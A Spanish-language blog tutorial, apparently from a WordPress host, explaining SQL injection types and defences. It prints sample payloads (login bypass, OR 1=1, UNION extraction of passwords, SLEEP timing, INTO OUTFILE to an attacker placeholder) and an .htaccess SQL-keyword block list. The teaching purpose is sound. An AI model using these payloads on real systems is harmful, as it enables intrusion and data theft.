Una Inyección SQL es una técnica de inyección de código que los atacantes utilizan para explotar vulnerabilidades en la capa de base de datos de un sitio web o aplicación. Si los atacantes consiguen realizar una inyección SQL, pueden obtener acceso a la base de datos.

Si entiendes cómo funcionan estos ataques, estarás mejor equipado para prevenirlos. De este modo, podrás mantener a salvo tu sitio web y a tus clientes.

En este post, exploraremos los distintos tipos de inyecciones SQL. También te enseñaremos cómo puedes proteger tu sitio contra estos ataques. ¡Entremos de lleno!

¿Qué Es una Inyección SQL?

SQL (Structured Query Language, Lenguaje de Consulta Estructurado) es un lenguaje que nos permite interactuar con las bases de datos. Las aplicaciones web modernas utilizan bases de datos para gestionar datos y mostrar contenido dinámico a los lectores.

La inyección SQL (o SQLi) se produce cuando un usuario intenta insertar sentencias SQL maliciosas en una aplicación web. Si tienen éxito, podrán acceder a datos sensibles de la base de datos.

En 2023, las inyecciones SQL siguen siendo algunos de los ataques más comunes en la web. Sólo en 2022, se añadieron 1162 vulnerabilidades de inyección SQL a la base de datos de seguridad CVE.

La buena noticia es que las inyecciones SQL ya no son tan frecuentes como antes. La mayoría de las aplicaciones han evolucionado para protegerse de los ataques SQL.

En 2012, el 97% de las violaciones de datos se debían a inyecciones SQL. Hoy en día, esa cifra sigue siendo alta, pero mucho más manejable.

¿Cómo Funciona la Vulnerabilidad de Inyección SQL?

Una vulnerabilidad de inyección SQL da a un atacante acceso completo a la base de datos de tu aplicación mediante el uso de sentencias SQL maliciosas.

Veamos un ejemplo de aplicación vulnerable.

Imagina el flujo de trabajo de una aplicación web típica que implica peticiones a la base de datos a través de entradas de usuario. Obtienes la entrada del usuario a través de un formulario, por ejemplo un formulario de inicio de sesión. A continuación, consultas a tu base de datos con los campos enviados por el usuario para autenticarlo. La estructura de la consulta a tu base de datos es algo así:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

Para simplificar, vamos a suponer que almacenas tus contraseñas en texto claro. Sin embargo, es una buena práctica añadir una sal (salt) a tus contraseñas y luego aplicarles un hash. A continuación, si has recibido el nombre de usuario y la contraseña del formulario, puedes definir la consulta en PHP de la siguiente manera:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

Si alguien introduce el valor «admin’;-» en el campo nombre de usuario, la consulta SQL resultante que genera la variable $db_query será la siguiente:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

¿Qué hace esta consulta?

En SQL, el símbolo — inicia un comentario, por lo que todo lo que viene después se ignora. Esto elimina la comprobación de la contraseña de la consulta. Como resultado, si «admin» es un nombre de usuario válido, el atacante puede entrar sin conocer la contraseña. Al menos, si no hay seguridad contra este tipo de ataques.

Alternativamente, en este ejemplo también se puede utilizar un ataque booleano para obtener acceso. Si un atacante introduce «contraseña’ o 1=1;-» en el campo de contraseña, la consulta resultante sería la siguiente:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

En este caso, aunque tu contraseña sea incorrecta, estarías autenticado en la aplicación. Si tu página web muestra los resultados de la consulta a la base de datos, un atacante puede utilizar el comando para mostrar las tablas, el comando para mostrar las tablas de la base de datos y, a continuación, eliminar selectivamente las tablas si lo desea.

Exploits of a mom : Una historieta sobre la inyección SQL
Viñeta sobre la inyección SQL (Fuente: XKCD)

Exploits of a Mom, una popular tira cómica de XKCD, muestra la conversación de una madre con el colegio de su hijo, donde le preguntan si realmente llamó a su hijo «Robert’); DROP TABLE Students; —».

Tipos de Inyección SQL

Ahora que conoces los fundamentos de una vulnerabilidad de inyección SQL, vamos a explorar los distintos tipos de ataques de inyección SQL y la razón que hay detrás de cada uno de ellos.

Inyección SQL In-Band

La inyección SQL in-band es la forma más sencilla de inyección SQL. En este proceso, el atacante es capaz de utilizar el mismo canal para insertar el código SQL malicioso en la aplicación, así como recoger los resultados.

Veamos dos formas de ataques de inyección SQLin-band.

Ataque Basado en Errores

Un ataque basado en errores se produce cuando alguien manipula intencionadamente la consulta SQL para generar un error en la base de datos. El mensaje de error devuelto por la base de datos suele incluir información sobre la estructura de la base de datos, que el atacante puede utilizar para explotar aún más el sistema.

Por ejemplo, un atacante puede introducir ‘ OR ‘1’=’1 en un campo de formulario. Si la aplicación es vulnerable, puede devolver un mensaje de error que revele información sobre la base de datos.

Ataque Basado en Unión

Los ataques de inyección SQL basados en unión utilizan el operador SQL UNION para combinar los resultados de la consulta original con los resultados de consultas maliciosas inyectadas.

Esto permite al atacante recuperar información de otras tablas de la base de datos:

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

En esta consulta, el operador UNION combina los resultados de la consulta original con los resultados de SELECT nombre_usuario, contraseña FROM tabla_usuario. Si la aplicación es vulnerable y no sanitiza correctamente la entrada del usuario, podría devolver una página que incluyera nombres de usuario y contraseñas de la tabla de usuarios.

Inyección SQL Inferencial (Inyección SQL Ciega)

Aunque un atacante genere un error en la consulta SQL, puede que la respuesta de la consulta no se transmita directamente a la página web. En este caso, el atacante tendrá que indagar más.

En esta forma de inyección SQL, el atacante envía varias consultas a la base de datos para evaluar cómo analiza la aplicación estas respuestas. Una inyección SQL inferencial a veces también se conoce como inyección SQL ciega.

A continuación veremos dos tipos de inyecciones SQL inferenciales: la inyección SQL booleana y la inyección SQL basada en el tiempo.

Ataque Booleano

Si una consulta SQL produce un error que no se ha gestionado internamente en la aplicación, la página web resultante puede lanzar un error, cargar una página en blanco o cargarse parcialmente. En una inyección SQL booleana, un atacante evalúa qué partes de la entrada de un usuario son vulnerables a las inyecciones SQL probando dos versiones diferentes de una cláusula booleana a través de la entrada:

  • «… y 1=1»
  • «… y 1=2»

Estas consultas están diseñadas para tener una condición que será verdadera o falsa. Si la condición es verdadera, la página se cargará normalmente. Si es falsa, la página podría cargarse de forma diferente o mostrar un error.

Observando cómo se carga la página, el atacante puede determinar si la condición era verdadera o falsa, aunque no vea la consulta SQL real ni la respuesta de la base de datos. Si reúne varias condiciones similares, puede extraer lentamente información de la base de datos.

Ataque Basado en el Tiempo

Un ataque de inyección SQL basado en el tiempo puede ayudar a un atacante a determinar si existe una vulnerabilidad en una aplicación web. Un atacante utiliza una función predefinida basada en el tiempo del sistema de gestión de bases de datos que utiliza la aplicación. Por ejemplo, en MySQL, la función sleep() ordena a la base de datos que espere un determinado número de segundos.

select * from comments
WHERE post_id=1-SLEEP(15);

Si una consulta de este tipo produce un retraso, el atacante sabría que es vulnerable. Este enfoque es similar a los ataques booleanos en el sentido de que no obtienes una respuesta real de la base de datos. Sin embargo, puedes obtener información de ella si el ataque tiene éxito.

Inyección SQL Out-of-Band

En un ataque de Inyección SQL out-of-band, el atacante manipula la consulta SQL para ordenar a la base de datos que transmita datos a un servidor controlado por el atacante. Esto se consigue normalmente utilizando funciones de la base de datos que pueden solicitar recursos externos, como hacer peticiones HTTP o consultas DNS.

Un ataque de inyección SQL out-of-band utiliza una función externa de proceso de archivos de tu Sistema de Gestión de Bases de Datos (DBMS por sus siglas en inglés). En MySQL, se pueden utilizar las funciones LOAD_FILE() e INTO OUTFILE para solicitar a MySQL que transmita los datos a una fuente externa.

Aquí tienes cómo un atacante podría utilizar OUTFILE para enviar los resultados de una consulta a una fuente externa:

select * from post_table
into OUTFILE '\\MALICIOUS_IP_ADDRESSlocation'

Del mismo modo, la función LOAD_FILE() puede utilizarse para leer un archivo del servidor y mostrar su contenido. Se puede utilizar una combinación de LOAD_FILE() y OUTFILE para leer el contenido de un archivo del servidor y luego transmitirlo a una ubicación diferente.

Cómo Evitar las Inyecciones SQL

Hasta ahora, hemos explorado las vulnerabilidades de una aplicación web que pueden dar lugar a ataques de inyección SQL. Una vulnerabilidad de inyección SQL puede ser utilizada por un atacante para leer, modificar o incluso eliminar el contenido de tu base de datos.

Además, también puede permitir leer un archivo en cualquier ubicación del servidor y transferir su contenido a otro lugar. En esta sección, exploraremos varias técnicas para proteger tu aplicación web y tu sitio web contra los ataques de inyección SQL.

Escapar las Entradas del Usuario

En general, es difícil determinar si una cadena de usuario es maliciosa o no. Por lo tanto, un enfoque común es escapar caracteres especiales en la entrada del usuario. Este proceso puede ayudar a proteger contra los ataques de inyección SQL.

En PHP,  puedes escapar una cadena antes de construir la consulta utilizando la función mysqli_real_escape_string():

$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);

Al mostrar la entrada del usuario como HTML, también es importante convertir los caracteres especiales a sus correspondientes caracteres HTML para evitar ataques de Cross-Site Scripting (XSS). Puedes convertir caracteres especiales en PHP utilizando la función htmlspecialchars().

Utilizar Sentencias Preparadas

Alternativamente, puedes utilizar sentencias preparadas para evitar inyecciones SQL. Una sentencia preparada es una plantilla de una consulta SQL, en la que especificas parámetros en una fase posterior para ejecutarla.

Aquí tienes un ejemplo de sentencia preparada en PHP y MySQLi:

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Otras Comprobaciones de Higiene para Evitar Ataques SQL

El siguiente paso para mitigar esta vulnerabilidad es limitar el acceso a la base de datos a sólo lo necesario.

Por ejemplo, puedes conectar tu aplicación web al DBMS utilizando un usuario específico que sólo tenga acceso a la base de datos pertinente.

Además, querrás restringir el acceso del usuario de la base de datos a todas las demás ubicaciones del servidor. También es posible que desees bloquear determinadas palabras clave SQL en tu URL a través de tu servidor web.

Si utilizas Apache como servidor web, puedes utilizar las siguientes líneas de código en tu archivo .htaccess para mostrar un error403 Forbidden a un posible atacante.

Debes tener cuidado antes de utilizar esta técnica, ya que Apache mostrará un error a un lector si la URL contiene estas palabras clave.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

Como consejo de prevención adicional, simpre deberías utilizar software actualizado. Cuando se publica una nueva versión o un parche, los errores que se han corregido en la actualización se detallan en las notas de la versión. Una vez que los detalles de un fallo se hacen públicos, ejecutar una versión antigua de cualquier software puede ser arriesgado.

Inyección SQL en WordPress

Estás a salvo de cualquier vulnerabilidad de inyección SQL si utilizas archivos del core de WordPress actualizados. Sin embargo, el uso de plugins y temas de terceros siempre abre tu sitio web a cierto nivel de vulnerabilidad. Puedes mitigar en gran medida este riesgo utilizando plugins y temas que reciban actualizaciones periódicas y que sigan prácticas de programación seguras.

Tu sitio de WordPress es tan fuerte como su eslabón más débil. En esta sección, exploramos las consideraciones clave para mitigar la vulnerabilidad de inyección SQL en WordPress y cómo realizar comprobaciones de vulnerabilidad en tu sitio de WordPress existente.

Prevención de la Vulnerabilidad de Inyección SQL en WordPress

Para mitigar la vulnerabilidad de la inyección SQL en tu plugin o tema de WordPress, la única regla que debes seguir es utilizar siempre las funciones existentes de WordPress cuando interactúes con la base de datos.

Estas funciones se prueban a fondo para detectar vulnerabilidades de inyección SQL durante el proceso de desarrollo de WordPress. Por ejemplo, si quieres añadir un comentario a una entrada, utiliza la función función wp_insert_comment() en lugar de insertar datos directamente en la tabla wp_comments.

Aunque las funciones son extensibles, puede que ocasionalmente necesites ejecutar una consulta compleja. En tal caso, asegúrate de utilizar el grupo de funciones $wp_db. Puedes utilizar $wpdb->prepare() para escapar la entrada del usuario antes de crear la consulta.

Además, aquí tienes una lista de funciones para sanitizar datos en WordPress. Éstas pueden ayudarte a escapar tipos específicos de entradas de usuario, como correos electrónicos y URLs.

Protege Tu Sitio de WordPress

Aunque WordPress en sí mismo es seguro, problemas como un software del núcleo obsoleto y plugins nulled pueden dar lugar a vulnerabilidades. Aunque no hay alternativa a comprobar a fondo tu sitio WordPress en busca de vulnerabilidades de inyección SQL, la complejidad de un sitio web puede hacer que esta tarea sea un reto.

Puedes utilizar una herramienta de escaneo online como WPScan. También recomendamos auditar tus plugins para ver si su desarrollo se ha estancado. Si ya no se mantienen, puede que no sea una buena idea utilizarlos en tu sitio.

Si aún necesitas utilizarlos, asegúrate de comprobar a fondo su código y funcionalidad para detectar vulnerabilidades. Aparte de esto, asegúrate de seguir estas comprobaciones de higiene:

  • Actualiza PHP, el core de WordPress y MySQL
  • Actualiza los plugins y temas de terceros
  • Evita utilizar el usuario root para conectar la base de datos SQL
  • Limita el acceso del usuario SQL a directorios sensibles
  • Bloquea las palabras clave SQL que utilicen tu servidor
  • Guarda copias de seguridad de tu sitio fuera del sitio en caso de daños irreversibles

Aquí tienes un post detallado sobre la seguridad de WordPress y una lista exhaustiva de comprobaciones. Además, puedes invertir en estos plugins de seguridad para WordPress. Esto es lo que debes hacer si tu sitio WordPress es hackeado a pesar de todos tus esfuerzos.

¿Es ilegal la inyección SQL?

Definitivamente, ¡sí! Aunque exista una vulnerabilidad real, un atacante sigue intentando acceder a datos que de otro modo no estarían a su disposición.

Imagina que alguien se deja las llaves puestas en el coche. ¿Constituye un delito conducir en él sólo porque se dejó abierto y sin vigilancia?

La ley de SQLi se rige por leyes diferentes en varios países. En EE.UU. se encuadra en la Computer Fraud and Abuse Act (1986) y en el Reino Unido en la Computer Misuse Act (1990).

Resumen

Las inyecciones SQL han sido durante mucho tiempo uno de los ataques más comunes a todo tipo de sitios web. Ni siquiera WordPress puede protegerte de la posibilidad de ataques SQL si no tomas medidas para mantener seguro tu sitio web.

Para evitar estos ataques, necesitarás:

  • Comprender cómo funciona la vulnerabilidad de la Inyección SQL
  • Explorar las distintas formas en que los atacantes pueden utilizar SQLi para obtener acceso no autorizado a tu aplicación web
  • Implementar métodos para proteger tu sitio web de los ataques SQLi, como escapar las entradas del usuario y utilizar sentencias preparadas
  • Sigue una rutina de comprobación de seguridad

Ahorra tiempo y costes, además de maximizar el rendimiento del sitio, con integraciones de nivel empresarial por valor de más de 275 $ incluidas en cada plan de WordPress Gestionado. Esto incluye una CDN de alto rendimiento, protección DDoS, mitigación de malware y hacking, Edge Caching y las máquinas con la CPU más rápida de Google. Empieza sin contratos de permanencia, migraciones asistidas y una garantía de devolución del dinero de 30 días.

Consulta nuestros planes o habla con ventas para encontrar el plan más adecuado para ti.

Shaumik Daityari

Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!